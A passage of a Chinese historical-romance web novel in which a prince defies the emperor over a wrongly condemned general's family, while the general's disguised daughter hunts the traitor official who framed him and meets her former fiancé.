四周哗然,魏文帝脸色分外难看,殷戈止长身玉立,不紧不慢地接着道:“未能识破这等伎俩,是儿臣愚钝。可未能彻查就定下关家的罪,又是谁的不对?!”
“你放肆!”这话直指他,魏文帝没忍住,拍桌站了起来道:“沉璧,你这话是犯上!”
“父皇若是问心无愧,怎会觉得儿臣犯上?”
殷戈止勾唇,眼里满是冷冽的水汽,冻得魏文帝微微打颤。
“父皇!”眼看着要起冲突,殷沉玦连忙起身道:“今日是喜庆的日子,何必因为这点事情争执呢?皇兄你也是,光凭易大将军的话就信了吗?他可是串通关苍海的人,自然要为关苍海开脱了,也只有你这么傻会信,还回来气父皇。”
“我能传达此言,就有法子保证是真话。”殷戈止淡淡地道:“只是,父皇看起来很不想相信。”
只要是他不愿意相信的,就算是铁打的事实摆在面前,恐怕也不会信。
“关家叛国之名已定!”魏文帝沉怒道:“来人啊,传旨!今日起,朝中上下,但凡有提及此事者,斩!”
一个斩字,震得殷戈止心口凉透。
这旨意别人都不用接,就是对着他下的。魏文帝恼羞成怒了,意思就是你要查你就**,谁也不准再
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提这事来膈应朕,朕掌握生杀,朕最大!
群臣跪地,殷戈止眼里涌过惊涛骇浪,最后终于还是一片死寂。
扫了扫衣摆,他抬脚就往外走。
“放肆!”魏文帝喊:“洗尘宴没结束,你去哪里!”
“斩首台。”清冷的声音随着风飘进来,却像化成了巨大的铁锤,狠狠地砸在魏文帝的头上。
气得直拍桌子,魏文帝怒喝:“不孝子,你给朕回来!”
雪白的衣摆从殿门槛上扫过,轻柔的料子随着风翻飞得很是仙气,殷戈止头也没回。年少时积压着的叛逆,这回像是统统爆发了,震得满朝文武脸色苍白。
“陛下!”丞相石鸿唯连忙出列跪倒在地:“大皇子身负吴国国书,身系两国太平啊陛下,不可斩!斩不得!”
他当然知道斩不得,可是这孩子怎么去一趟吴国回来,就会与自己作对了呢?魏文帝气得不轻。原先还能威胁震慑一下,现在这么严肃的圣旨扔出去,竟然吓不住他了?
现在怎么收场?他当真去斩首台,哪个不要命的敢砍他啊?
皇宫里一阵兵荒马乱,殷戈止带着观止,潇洒地踏出了宫门。
他不会矫情到当真去斩首台,自然是有地方要去的。
风月已经在一个大宅子里安顿下来,吃了郑婶做的一顿好饭。
“啊,赶路太久了,已经很久没吃到这么好吃的菜了!”倒在郑婶怀里撒娇,风月笑得灿烂:“还是郑婶做的东西好吃。”
对面的秋夫人摇头:“少主,您自己分明也会做菜,瞧大皇子吃得那么高兴,想必味道很好。”
提起殷戈止,风月顿了顿,坐起身子来摆摆手:“先不提他了。”
“为什么?”罗昊伸头问了一句:“少主不是挺喜欢大皇子的?”
“……我喜欢他奶奶个腿儿!”风月横眉怒道:“你们是不知道我过的什么日子,殷大皇子又挑剔又麻烦还爱折磨人,总是把我当丫鬟使唤的!要不是为了咱们顺利回来,我才不想跟他一起呢!干将你说是不是?”
干将坐在角落啃着骨头,满脸心虚,很敷衍地点头。
秋夫人挑眉:“我瞧着大皇子对你不错啊,总比对咱们好多了,先前我想拿他那白袍子去洗,他那眼神吓人得,哎哟喂,不知道的还以为我要偷他衣裳!”
正在吃肉的灵殊抬头问了一句:“是那件儿很轻薄的白袍子吗?”
“对啊。”
“哦。”灵殊点头,一本正经地道:“那是主子给他缝的。”
风月想一把捂住这丫头的嘴,奈何手不够长,没来得及。
一瞬间屋子里就响起整齐划一的起哄声:“哦——原来是这样呀——”
老脸一红,风月一掌拍在桌子上:“怎么样了?就算他殷戈止芳心暗许,那我也看不上他啊!”
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第128章 我不管了
这话说得,比经常吹牛的李掌柜还能耐!众人又是一阵哄笑,正要七嘴八舌地打趣呢,门“嘭”地一声就被人踹开了。
殷戈止面无表情地站在门口,眼神越过众人,很精确地就落在了风月头上。
风月差点咬着自己的舌头!
“殿……殿下?”
一瞬间屋子里就安静了,众人划拉着各自的矮桌,抱着桌子和坐垫退到两边,很有默契地给让了一条路。路的尽头,就是一脸惊鸿的风月姑娘。
眼里似嘲非嘲,似笑也非笑,殷戈止跨进门来,一步步慢慢地朝她走过去。
这场景,很像是盯准了猎物的狼,反正猎物逃不掉了,我就盯着你慢慢靠近,让你享受死亡前的恐惧与不安!
咽了口唾沫,风月嘿嘿笑了笑:“殿下,这么快又见着您了……您怎么知道我们住这儿的?”
角落里的干将打了个哆嗦,努力吃肉,企图装无辜。然而,满屋子的人都没动,就他一个人吃得津津有味的,风月一眼就看见了,眯了眯眼,咬牙道:“是我疏忽了!”
白袍子已经扫到了她跟前,殷戈止居高临下地看着她,眼里满是不屑:“看不上我?”
“不不……”连忙摆手,风月道:“您听我解释啊!”
“不听。”抬了抬下巴,殷戈止表情凝重,那眼神凌厉得,仿佛下一刻就会一巴掌给她劈下来!
风月吓得闭紧了眼,双手抱头,作防御姿态。
然而,等了许久,这一巴掌也没落下来,倒是有人低声道:
“我饿了。”
啥?睁开一只眼,风月疑惑地看着面前的人,很想说姑奶奶这儿又不是饭馆,你饿了找御厨不就好了?
然而,一对上他的眼睛,看见这高大如山的人眼底的落寞,她心里一紧。
发生什么事了?
没开口问,风月一把就将他拉下来坐在自己旁边,然后喊了一声:“郑婶,添副碗筷!”
“好嘞!”
瞧这一巴掌没劈下去,众人都很失望,少了一场好戏看呐!不过殷大皇子这时候不在宫里吃洗尘宴,怎么跑他们这儿来蹭饭了?
大家眼里都有疑问,但谁也没问出来,都各自装作很自在的样子继续吃饭,耳朵却是往主位的方向伸得老长。
一桌新的饭菜端到了殷戈止面前,瞧着他开口吃了一碗饭下去,风月才问:“宫里出事了?”
“没有。”殷戈止轻描淡写地道:“洗尘宴上的东西不好吃。”
这个理由让屋子里的人都是一怔,郑婶感叹地道:“原来我做的饭菜比御厨做的还好吃。”
“得了吧。”秋夫人失笑:“他们都哄你开心呢,下次少放点盐啊。”
“秋夫人的盘子吃得最干净,也好意思说这话?”尹衍忠摇头:“小心下回没得吃。”
众人都哄笑起来,整个宅子里气氛融洽,不像是少主和属下,倒像是和和美美的一家人,吵着闹着,有不服气的,打开门就出去比划比划,比划完了回来继续喝酒。
殷戈止看得晃了神,嘴唇微微抿着,眼里流露出一种奇异的神色。
风月惊讶地看着,问了一句:“殿下,您这是……在羡慕吗?”
回过神,殷戈止冷哼:“谁羡慕了?”
分明就是羡慕啊!风月撇嘴,拿了筷子就给他夹了个鸭头:“您吃这个吧,跟您很配。”
低头看了看碗里那鸭子的嘴壳,殷戈止眯眼:“你活得不耐烦了?”
“是啊。”反正彼此之间的威胁都不存在了,风月也就壮着胆子道:“您要是不高兴,就去告发我好了,让人抓我回去**!”
殷戈止皱眉,很是不爽地看了她一眼,然后继续低头吃菜。
“少主!”门外的有人匆忙进来,一溜烟跑到风月旁边道:“出大事了!”
看了看他头上的汗,风月笑道:“史冲大哥,有话慢慢说,不用这么急。”
抹了一把汗,史冲直喘气,压根没注意风月旁边坐着的人,张口就道:“真的是出大事了!大皇子在福禄宫顶撞圣上,说关将军是冤枉的,要给关家翻案,皇帝震怒说谁再提这事儿砍谁脑袋!眼下大皇子已经出宫,下落不明!”
众人都倒吸一口气,风月也瞪大了眼,缓缓转头看向旁边的人。
史冲一边擦汗一边奇怪地看着他们:“你们都往旁边看什么……”
说着自己也看过去,吓得腿一软,差点跪地上。
殷戈止表情平静地抿了一口茶,放下茶盏,抬眼看向他:“消息传出来了?”
“传……传出来了。”咽了口唾沫,史冲硬着头皮道:“今晚不是您的洗尘宴吗?三品以上官员都在,而且不少宫人和太监在场,众目睽睽之下出这么大的事情,自然会跟长了翅膀似的……”
“那就好。”殷戈止颔首,拿手帕擦了嘴,看向风月:“如此一来,你又得求我帮忙了,少主。”
最后两个字带着点调侃的意味,听得风月羞愤不已,咬牙切齿地道:“皇帝要砍你脑袋,我为什么还要求你帮忙?”
“因为我的脑袋他不会砍,而我,可以想法子替关家翻案。”殷戈止勾唇,抬了下巴垂着眼皮看她:“这件事,整个魏国,只我一人能做到。”
猛地一震,风月万分不解地皱眉看着他:“你为什么要替关家翻案?关家当年的罪名可是你定下的!”
“不是我。”打断她的话,殷戈止很是认真地道:“我只给了证据,定罪的不是我。”
“那不是一样?”冷哼一声,风月咬牙:“你当初要是信我老爹,就不会把那些证据送出去!”
“不一样。”殷戈止皱眉:“我从来对事不对人,既然有关将军通敌的证据,又有败仗在先,任何一个有理智的人,都不会靠自己的想法来判断对错,一定是交由司法,三审定案。”
“……”被他这话说得哑口无言,风月气急,狠狠地别开头。
旁边的秋夫人叹了口气,站到风月身边扶着她的肩膀,柔声道:“殿下说的不是没有道理,只是恨乌也及屋,不管怎么说,皇室无为,任关将军冤死,任关家被灭门,都是事实。”
“我知道。”殷戈止抿唇:“所以有错,我便改,总
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不能连改错的机会都不给我。”
“你现在怎么就知道是错的了?”风月嗤笑:“就因为相信我?”
斜她一眼,殷戈止满脸嫌弃:“你真把自己当回事。”
风月:“……”
“我是听见了易国如和你最后的对话。”看着这人撩袖子要揍自己的模样,殷戈止淡淡地开口:“我听见了。”
重重一震,风月惊愕莫名:“你不是说,你当时在外头吗?”
“是在外头,在你们头顶的房顶上。”
“那你为什么不告诉我?!”
原来不是她一个人知道真相,不是她一个人背负着关家沉重的冤情,这世上还有别的人知情!
那怎么不早说!
莫名地觉得有点委屈,风月鼻子一酸,眼眶就红了。
殷戈止别开头,袖子下的手握得指节苍白:“多说无益,还是做吧,我会替关家翻案,就当是补偿……”
“殿下,您在施恩的时候,有没有问过别人愿不愿意接受?”风月冷笑:“补偿有什么用?我这人脸皮厚,不在意名声的,翻不翻案,我不关心。”
“……”
“我回你们魏国来,不过就是找人报仇,谁想冒着杀头的风险,在你家那冥顽不灵好坏不分的父皇手底下翻案?!错怪了人可以说抱歉。错杀了人,抱歉还有用吗!”
最后一句话是嘶吼出来的,一想起自己那满脸络腮胡严肃又忠诚的老爹,风月的眼泪就跟不要钱似的,哗啦啦地往下掉。
七岁她老爹抱着她念“只解沙场为君死,何须马革裹尸还”。十岁的时候她面前摆上了兵书和《忠君论》。十五岁上战场的时候,老爹跟她说别怕,大丈夫为国而死,死无可惧!
然而他并没有为国而死,而是死在他一生效忠的人手里,冤都难伸。
换谁来,谁不恨呐?!
皱眉看着她,殷戈止抬手,抬到一半又僵硬地收回来,冷声道:“既然你不接受,那我就不管此事了。”
啥?旁边的人被他这快速的转变弄得回不过神,虽然大家都想着简单报仇很好,可要是能**冤情的话……秋夫人叹了口气,看着他道:“殿下可以管的。”
“管来做什么?”下颔紧绷,殷戈止道:“我不管倒是什么事都没有,一说要管,你们看她多凶。”
这话说得人哭笑不得,风月也一时错愕,脑子里绕了几个弯,瞬间觉得自己是不是挺无理取闹的?可是又总觉得哪里不对,他这话听着是挺有道理的,但……她真的是因为他要管才这么凶的吗?
“就这样吧。”殷戈止起身,淡淡地道:“我也累了,先回王府了,多谢款待。”
“哎哎。”众人纷纷请他留步,然而殷戈止像是当真生气了,走得潇洒至极,头也不回。
风月愕然,粗鲁地抹了一把眼泪,撇撇嘴:“不管就不管嘛,真当我要求你帮忙不成?罗大哥,咱们准备东西去!”
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第129章 封明
被拽着的罗昊一脸纠结,看着她道:“少主,大皇子没有坏心。”
“易国如直到死,也一直觉得他没坏心。”翻了个白眼,风月气哼哼地道:“你们为什么都会觉得殷戈止是个好人呐?他这人分明危险极了,不知不觉就容易把人算计进去,你们还偏偏愿意相信他?”
想起这一年来大皇子是怎么在吴国潜伏的,一众人打了个寒颤,瞬间敛了点神。
不能怪他们轻信,实在是……若是能翻案,也未尝不是一件好事。不过想想吴国那些人的下场,呃,还是算了吧,不劳大皇子费心了。
罗昊扭头,立马去拿了乔装用的东西,趁着天黑,出去踩踩“盘子”。
风月裹了束胸换了男装,贴了满脸的络腮胡,给脸上抹了灰,瞬间变成了个猥琐的大叔。为了保险起见,顶着这一身,她还跑回主屋去调戏了灵殊一把,结果差点**将一拳打过来,还好她躲得快。
“天衣无缝!”满意地摸了摸自己的脸,风月带着罗昊就往外走,留下众人一脸震惊。
“刚刚那是谁?”
“听声音,是少主。”
“……太可怕了。”
连他们这些亲近之人都认不出来,那别人一定更认不出来,少主很安全。
澧都繁华不输不阴城,尤其是晚上。不阴城歇得早,澧都则是到戌时三刻才会尽歇。所以风月上街的时候,四处都还是亮亮堂堂的。
“还是澧都好啊。”罗昊啧啧感叹:“闻着味儿都知道下一条街是什么地方。”
风月哼笑,正想打趣他两句,冷不防就听得马蹄声由远及近,连忙拉着他躲到旁边。
“驾!”几匹**色鲜亮的马哗啦啦地从旁边飞奔而过,为首的人像是很着急,嘴里不停吆喝着,马鞭也抽得狠,黛色锦袍的衣摆翻飞,卷起的风吹得风月没能睁开眼。
“大晚上的,竟然在街上疾驰。”旁边有百姓小声嘀咕:“谁家的啊?”
“他你都不认识?”衣着光鲜些的人揣着手道:“封大将军啊!镇国侯家的世子,打退了齐兵的那个。”
风月身子一僵。
封明吗?
封明是关清越人生里的噩梦,一向顶天立地潇洒不羁的关清越,自从十五岁那年遇见他,人生的轨迹就被扭曲了。
十五岁的及笄礼,镇国侯恰好来拜访,彼时十六岁的封小世子就眼睛也不眨地盯着她瞧,瞧着她行完礼,扭头就对镇国侯说了一句:“爹,我想娶她!”
关清越一个没站稳,吓得直接从台阶上滚了下去,额头上起了老大一个包!
封明慌忙去扶她,关清越气不打一处来,狠狠一脚就踹在他胸口,双手叉腰咬牙切齿地道:“娶你个头哇!”
关家老爹脸都青了,说好的今日要规规矩矩守礼节,不然以后嫁不出去,她倒好,踢了镇国侯世子不说,还爆粗!
于是,这场及笄礼,关清越被关苍海胖揍一顿,并且恨**封明。
然而,没想到,溺爱儿子的镇国侯,当真让媒人来说婚事了!关清越这叫一个气,扛着三环大刀就站在关府门口,来一个砍一个,来两个砍一双!
媒人们纷纷被吓走,到最后,封明自己来了。
“你为什么不肯嫁我?”他很生气地问。
“不为什么!”关清越咬牙:“我不喜欢你!”
“那你试试啊,谁成亲之前都不一定是相互喜欢的!”
“我不,我要嫁给我喜欢的人!”
“你喜欢谁?”
头一撇下巴一抬,关清越很是骄傲地道:“澧都女儿,定然都喜欢大皇子!”
封明脸黑了,扭头就走,第二天再来的时候,身上就带了伤。
“怪不得你喜欢他。”封世子很是气愤,却又不得不服气地道:“武功不错。”
关清越傻眼了。
后来得知,封家这混世魔王,竟然在她说了那话之后就去宫里找大皇子打架了!结果当然不用说,但是这行为怎么比她还不守规矩啊?这样的人她要是嫁了,那以后澧都里一定会多出个“雌雄双煞”来,人人见而远之。
不行,不能嫁!
可是,婚姻都是父母之命媒妁之言的,轮不到她做主,她在这边负隅顽抗,那边关苍海已经拿着婚书回来了。脸上的表情轻松得呀,像是黄昏时分终于把剩菜卖完了的菜贩子,那叫一个舒爽。
关清越气哭了,背起自己的大刀就离家出走,更是在即将被找到的时候,混进了东宫,躺到了大皇子的床上。
她不想成的亲,谁也不能强迫她!真要强迫,那先给封明戴个绿帽子好了!
彼时她没有想过自己的将来还会与大皇子有什么牵扯,只是单纯要跟封明过不去。
没想到命运弄人啊……
看着那群骑着马的人的背影,风月抿唇,摸了摸头上的头巾,低了脑袋继续跟在罗昊后头走。
殷戈止在洗尘宴上说要给关家翻案,那皇帝也拦不住这消息四散,封明是听说了此事,所以才半夜策马往王府跑。
孝王府,一看见这牌匾封明就觉得好笑,皇帝老儿还想拿“孝”字压殷沉璧,结果却被自己的皇子狠狠打了脸,也不知现在是不是在宫里气得半死。
下马上前,封明压根没想过敲门,直接一脚就将那朱红色的大门踹开,一边往里走一边喊:“殷沉璧,你给我出来!”
刚回府还没喘口气,就听见这嚣张的声音。殷戈止眯了眯眼,心情突然很不好。
要是他没记错的话,封明是与关清越有过婚约。先前他还跟人说过,封明此人放荡不羁,为着关家的事进宫找他打过架。彼时还不知道风月是关清越。
如今知道了,再看这个人,就有点不顺眼了。
房门被推开,封明气势汹汹地冲了进来。一年未见,他功夫倒是进步颇大,下盘极稳,虽然还是喜欢大吼大叫,可是却没了之前的心浮气躁。
垂了眼皮抿一口茶,殷戈止冷淡地道:“封将军深夜造访,有何贵干?”
很是不爽地看着他,封明轮廓极深的脸上露出点别扭的神色:“你
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要替关家翻案?”
“都知道消息了,还来问我做什么?”
挖了挖耳朵,封明“嘿”了一声:“从吴国吃了**回来啊?老子又没惹你,你火气这么大做什么?”
殷戈止冷笑:“对于不速之客,难道还要双手奉茶?”
不管他的态度,封明在旁边坐下,拿起茶壶就往自己嘴里倒了口茶,抹了把嘴道:“说正经的,你想怎么翻案?”
心里不舒坦,连带着说话都冒火星子:“父皇已经下旨,再提此事者斩,将军想说正经的,不如去刑台上说。”
脸色一沉,封明嗤笑:“自古虚心听谏福国,独断专行**。为了不让陛下**,臣等冒死也要进谏——关家是冤枉的,关将军不会叛国!”
拳头微紧,殷戈止很不耐烦地起身,居高临下地看着面前这人:“你不是一直很喜欢找我打架吗?”
“嗯?”封明一脸茫然:“打架?”
这个时候谁想跟他打架啊,都统一立场了不是吗?
“今晚我心情好。”伸手慢慢将白袍给脱下来,殷戈止朝他冷笑:“要不要打一场?”
以往封明进宫找他打架,殷戈止都是不情不愿地应付,几招把他撂倒就消失无踪,半点也不尊重对手!今日难得有了兴致,封明立马点头,脱了外袍,跟着他出去。
老实说这一年多的征战让封明成熟了不少,所以不会像以前那样被殷戈止揍着玩儿了。可惜,一交上手,封明还是能感觉到自己差了一大截,尤其今天殷戈止不知道吃错了什么药,出招极狠,要不是他躲得快,一定得被打个重伤!
“太可怕了。”唏嘘一声,封明皱眉抬头:“到此为止,今儿我不是专程同你打架来的。”
“关家的案子,不用你管。”殷戈止收手,很是冷淡地道:“我自己会处理。”
“那怎么行!”封明瞪眼:“关清越是我未婚妻,被冤枉的是我老丈人,这事儿不管怎么看,我都比你有管的立场。”
四周的风好像突然凉了点,刮得衣裳翻飞,殷戈止捏着拳头,轻声问:“就算翻案,你想如何?”
想如何?封明抱着胳膊道:“自然是把该娶的人娶回来了。”
心里一沉,眼神陡然凌厉,殷戈止伸手就抵着他脖子,杀气四溢:“该娶的人?”
“这些你不用管。”别开头,封明有些心虚:“反正我也要替关家翻案就对了。”
他知道关清越还活着,只是不知道她在哪儿,但是,只要把关家的罪名洗清,那她应该就可以回来了吧?那粗鲁耿直的丫头,也不知道这些年在外头吃了多少苦。
心里唏嘘,但他不敢表现出来,就算大皇子莫名其妙想替关家翻案,但在案子当真翻过来之前,不能让他知道关清越还活着!
然而,面前这人沉思良久,竟然开口问了他一句:“当年帮关清越逃脱的人,是你?”
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第130章 你认错人了!
褐色的瞳孔一缩,封明严肃了神色,一把挥开殷戈止,别开头道:“大皇子在说什么,我怎么听不明白?”
孝亲王府与吴国的使臣府一样冷清,除了观止,没人会来他的院子里。殷戈止也懒得跟他绕弯子,直接道:“先前我还在想,关清越都被关在牢里受刑了,哪来的本事偷天换日,逃出生天。如今看见你,倒是能想明白了。”
倒吸一口凉气,封明震惊地看着他,伸手就抓着殷戈止的衣襟将他扯了过来:“你见过清越?”
挣开他的手,殷戈止冷笑:“不回答我的问题,还指望我回答你的?”
封明咬牙,脸上的线条紧绷,犹豫了半晌才松了口:“我一人的行为,与镇国侯府没有半点关系。”
转身去庭院里的石桌边坐下,殷戈止理了理袖口:“从头交代一遍吧,怎么回事。”
“为什么要告诉你?”封明不太乐意,笔直而浓的眉毛倒竖起来。
然而,殷戈止幽幽地说了一句:“我见过关清越。”
下一瞬,封明就在他旁边老老实实地坐下,不情不愿地招供:“关将军被害死在大牢,关家面临被满门抄斩,我救不了她全家,但能救她一个,所以精心安排,等到临刑前的几日,利用天牢里的人脉,将关清越换了出来。”
关清越当时是不愿意出来的,也不愿意让人替她**,还是关家的人用报仇之事威胁她,最后把人打晕了,才给抬出去的。
为此,他没敢告诉她是自己在背后救她,本来那位姑奶奶就已经够讨厌他了,这罪加一等的事儿,他才不会坦白。
“之后她离开了魏国,去哪儿了我不知道,现在在哪儿,我也不知道。”说起这个,封明其实有点难过,因为她给很多人写信,带走了他们,却没想给他也写一封,哪怕是骂他的也好啊。结果一走三年,音信全无,完全没把他当未婚夫嘛!
听到最后一句,殷戈止心情莫名地好了点,起身整理好衣襟,转头就往屋子里走。
“哎哎!”封明伸手就拦住他:“我都说了,你难道不该把她的下落告诉我?”
心平气和地转头看他一眼,殷戈止茫然地问:“我为什么要告诉你?”
“你刚刚不是说……”话说到一半,封明咬牙闭眼,一拳朝他打过去!
这狡猾的人,刚刚就说他见过关清越,可没说他招供之后,他会告诉他关清越的下落啊!
混账!
殷戈止勾唇,敏捷地躲开这一拳,飞身就进屋,栓上了门。
观止收拾好王府回来,就看见封明眼神阴鸷地举着火把要点堆在主屋门口的柴。
“封将军!”吓得声音都劈了,观止连忙跑过去拦住他:“您做什么啊?”
举着火把,封明黑着脸道:“这厮躲在里头不出来,我把他房子烧了!”
观止:“……”
哭笑不得,他使劲儿掰着封明的胳膊,但是没能掰动,索性双手抱上去,颤抖着道:“您这是谋害王爷啊将军!”
“我不管!”封明怒道:“他再不告诉我,我就把他王府一起烧了!”
抹了把头上的汗,观止觉得心里很苦。要是别的主子来**,那都好说,可以讲道理。但遇上这位封将军,那简直是有理说不清!他冲动起来,那可是当真会干出烧王府的事情的!
“有话咱们好好说!”哭丧着脸,观止问:“您想知道什么啊?”
想起那个人,封明喉头微动,眼眶竟然有点湿。嘴巴张了又合上,最后却像是泄了气,扔了火把甩开观止,转身往外走。
罢了,殷戈止不愿意说,那他当真烧了这儿也没用。与其问,他不如自己找。
“将军!”门外一直等着的随从满脸焦急,一看他出来就连忙迎上来道:“刚刚传来的消息,贺兰家的宅子一片慌乱,贺兰大人已经收拾了东西只身逃走。”
被大皇子当那么多人面指证说是被易国如收买**,虽然皇帝没在意,可贺兰长德不傻啊,趁着还能跑,那有多远跑多远!
封明沉了脸,立马翻身上马,一边策马狂奔一边骂:“龟孙子,幸好老子反应快让人去守着贺兰府,不然说不准当真让他给跑了!”
贺兰长德日子过得不错啊,这几年退回澧都当了个监察使,油水丰厚,也没什么要操心的,身子都胖成个球了!当真是好人不长命,祸害遗千年!
看他抓着人不扒一层皮下来!
这头追得风尘仆仆,那头逃得仓仓皇皇。贺兰长德本来以为出城了应该就安全了,他刚得到消息就跑路,别人的反应,怎么也不该有他快吧?虽然收拾东西耽误了点时间,还有些讨人厌的婆娘叽叽歪歪地挽留他,但是能趁夜出城的话,他的命怎么着也能无虞。
然而,他没想到,出了城门一里地了,马车竟然猛地一震,接着整个车厢就往旁边倾斜,重重地砸在了地上!受惊的马飞奔,车里的人哀叫连连,等后头的人终于将缰绳斩断的时候,他已经浑身是血了。
颤颤巍巍地从车厢里爬出来,贺兰长德正要抬袖子擦血,冷不防却见面前站了两双靴子。
心里一紧,他抬头,就看见一张很是陌生的、长满络腮胡的脸。
“大人好歹是监察使,怎么跟做贼似的,半夜奔逃啊?”风月看着他,很想阴森森地冲他笑,然而一看见这张脸,她连笑都笑不出来,眼里的恨迸如千尺瀑布,瞬间就要将面前的人冲个稀巴烂!
这该死的奸贼!
被她的眼神吓得差点钻回车厢,贺兰长德皱眉,色厉内荏地问:“你是谁!”
慢慢蹲下来,风月捏着**看着他,声音阴冷:“我是你的梦魇。现在开始,你最好快点跑,不然被我抓到,就会像这样!”
话音落,手里的**狠狠**了贺兰长德的脚踝!
“啊——”撕心裂肺的痛呼响彻整个城郊,听得人毛骨悚然。
正追得没了方向的封明眼睛一亮,立马朝着那声音跑去。
锋利的**穿透骨肉,准确地插在踝骨下面的软处,脚筋断裂的声音透过**传到风月的掌心,红了她的眼。
“痛吗?”她轻声问:“怕吗
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?”
跟看鬼似的,贺兰长德一边哀嚎一边往后退。脚废了,挪动得很艰难,他咬牙,眼里阴光暗闪,看着那络腮胡子朝自己靠近,立马摸着了袖子里的暗器,趁她不备,飞快地甩过去!
到底是会武之人,就算安逸多年荒废了功夫,但底子还在啊。刚刚一时情急没反应过来,现在知道反抗了。
险险避开那暗器,风月勾唇,睨着他道:“手上挺有劲的啊?”
旁边的罗昊上前,逮着他两只胳膊,用力一卸!
“不——啊——”痛得在地上打滚!贺兰长德如一只偷吃得肥头大耳的老鼠,扭曲挣扎,看着渗人。
“再不跑,我就过来了。”捏着**,风月一步步地往他面前走:“天道好轮回,苍天饶过谁啊,贺兰大人!”
“你……我与你无冤无仇,你这是做什么!”吓得浑身发抖,痛得眼泪直流,贺兰长德托着一条腿和两只手,用另一条好的腿挣扎蠕动,企图远离他们,神色惊恐,像是看见了黑白无常似的。
风月这才是笑了,慢慢地追着他走,一字一句地道:“无冤无仇?贺兰大人真是贵人多忘事,您出卖魏国的抗吴大军,导致关苍海被冤枉叛国,与我,也算是无冤无仇?”
倒吸一口凉气,贺兰长德瞪大眼,眼白翻出,声音尖细地吼:“你是关家的人?”
风月很想再吓唬他一下,然而,不远处却有马蹄声响起。
有人来救他?
神色一凛,风月给了罗昊一个眼神,后者立马抽出长剑架在贺兰长德的脖子上,然后转头看向东面。
有几匹马急匆匆地往这边而来,一看见倒在地上的马车,为首的人就松了口气,低骂道:“跑得可真够快的!”
一听这声音,风月背后汗**倒竖。
封明翻身下马,黛色长袍款式很是潇洒,走路之间衣摆翻飞,与夜色相融,只腰上那一块儿铜铸的腰带在黑夜里隐约有光。
他一阵风似的从她面前过去,看也没看她,先看了一眼半死不活的贺兰长德,再抬头想看看是哪位壮士出手相助。
“罗副将?!”一看见这张脸,封明震惊了:“您回澧都了?”
干笑两声,罗昊点了点头,眼神有点飘忽。
微微挺直了背,封明像是察觉到了什么,缓缓转头朝身后看去。
月光皎皎,月下有个穿着男装的人,在他说话的时候,已经跑了五十步之远!
“关清越,你给我站住!”一声咆哮,封明双眼涌上血色,拔腿就追!
风月这叫一个慌啊,一边跑一边捏着鼻子喊:“你认错人了!”
“我呸!”封明怒斥:“整个澧都就你看见我会跑那么快,你当我傻啊?给我站着!”
要是以前,他追她,可能还追不上,但现在,不知是他功夫进步太大还是怎么的,没一会儿,竟然就抓住了她的肩膀!
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第131章 岂能不说
压根没多想,封明反手就将人扣进自己怀里,抱得死紧。
铁打似的手臂,勒得风月喘不过气地咳嗽,伸手想揍他吧,看看自己柔弱的小拳头,她叹了口气,翻着白眼道:“封将军,自重啊。”
“自重?”捏着她的肩骨,封明松开她,双眼灼灼如星:“那是什么意思?”
风月:“……”
伸手弹了弹他的手,她有点头疼地道:“关家获罪,你我之间婚事已经自动解除,就算是老朋友久违重逢,您也不必这样。”
眉头皱了皱,封明不甘不愿地收回手,认真地看着她道:“我知道你一定是想回来报仇,我不急着跟你谈儿女情长,你要做什么,我帮你。”
“不必麻烦了。”风月捂脸:“您要是没来,贺兰长德都**。”
贺兰长德?
这才想起来自己出来的目的,封明伸手拽着她就回到贺兰长德面前,皱眉道:“他都已经半死不活了,与其杀了,你不如留着他提供呈堂证供,证明关将军是无辜的。”
“不。”风月摇头:“我就想杀了他。”
“……你原先挺聪明的,现在怎么这么鲁莽?”盯着她摇头,封明对罗昊道:“把人捆起来,送去孝王府吧。”
“孝王府?”风月很是不解:“那是什么地方?”
“殷沉璧的新巢穴。”一把扛起她,封明单手拉着马鞍上马:“他被封了孝亲王,你不知道吗?”
怎么会是亲王?挣扎着在马上坐下,风月问:“皇帝还不打算立太子?”
“魏国已经有太子了,二皇子殷沉玦。”
啥?!猛地想起殷戈止那会儿的眼神,风月倒吸一口凉气:“皇帝是疯了吧,放着殷戈止这样的人才不封太子,去封个碌碌无为的二皇子?”
“我也想不明白。”策马往前走,封明不爽地道:“虽然我不喜欢他,但他智勇双全,是当世难得的栋梁之才,若为君主,当是百世明主,能护魏国江山乱世中得存。换了二皇子,那就难说了。”
沉默良久,风月轻笑了一声:“那可真是能走到一条路上去了。”
先前魏文帝花言巧语的,把殷戈止教得多偏袒皇室啊!如今真面目揭下来了,殷戈止那般是非分明的人,怕是不会再毫无理智地护着皇帝了。
可是,他到底已经离国一年有余,当真能与皇帝对抗吗?
想着想着就已经到了孝亲王府,封明勒马,沉声问了一句:“你已经见过大皇子了,也让他知道了你是关清越了,是么?”
风月点头,又有点疑惑:“你怎么知道的?”
“他自己说的。”抱她下马,封明有点不高兴:“你还喜欢他啊?”
“瞎扯!”别开头,风月眯着眼睛看着后头被罗昊捆着拎下马的贺兰长德:“早就不喜欢了。”
是吗!眼睛一亮,封明咧嘴就笑了,分明很是英俊的脸,硬生生被他笑得眉毛不见眼的,看得风月心里感慨。
年少不懂感情,就觉得非要嫁给自己喜欢的人才行,一点也不珍惜身边对自己好的人。到如今发现自己太冲动的时候,也已经回不了头了。
“走吧,进去再说。”
“嗯。”
殷戈止已经准备就寝了,房门突然又被人踹了一脚,接着就听得外头封明的声音响起:“竟然还栓着门,殷沉璧,你属乌龟的?”
不在意地翻了个身,殷戈止转脸继续睡,却冷不防听见了风月的声音。
“殿下,我们抓着贺兰长德了。”
心口一紧,他翻身坐起,很是不敢置信地看向房门方向。
方才封明走的时候不是还不知道她的下落吗?这才过了多久,两人怎么会一起过来了?
他没睡醒?
屏息听了听外头的动静,没听见他们再说话,殷戈止松了神色,拍了拍自己心口。
幻听而已。
“主子已经休息了。”然而,气刚松出去,观止的声音又响了起来,带着些无奈:“您二位有什么事,不能明天再说吗?”
看了一眼后头半死不活的贺兰长德,风月耸肩,正想说明天就明天吧,先回去睡一觉这人也跑不掉,但是面前的门竟然毫无征兆地打开了!
屋子里没点灯,殷戈止的神色看起来很阴暗,居高临下地看着门口的两个人,长发披散,眼神不满:“很吵。”
察觉到这位爷心情很糟糕,风月下意识地缩了脖子:“呃,您很困的话,那还是明天说吧。”
封明眼里神色流转,男人的心事,还是男人看得明白,他几乎立马就知道了殷戈止心情不好的原因,当即就兴高采烈地把手往风月肩膀上一搭,耀武扬威地道:“怎么?不是不想我找到她吗?我找到了呀,你气不气?”
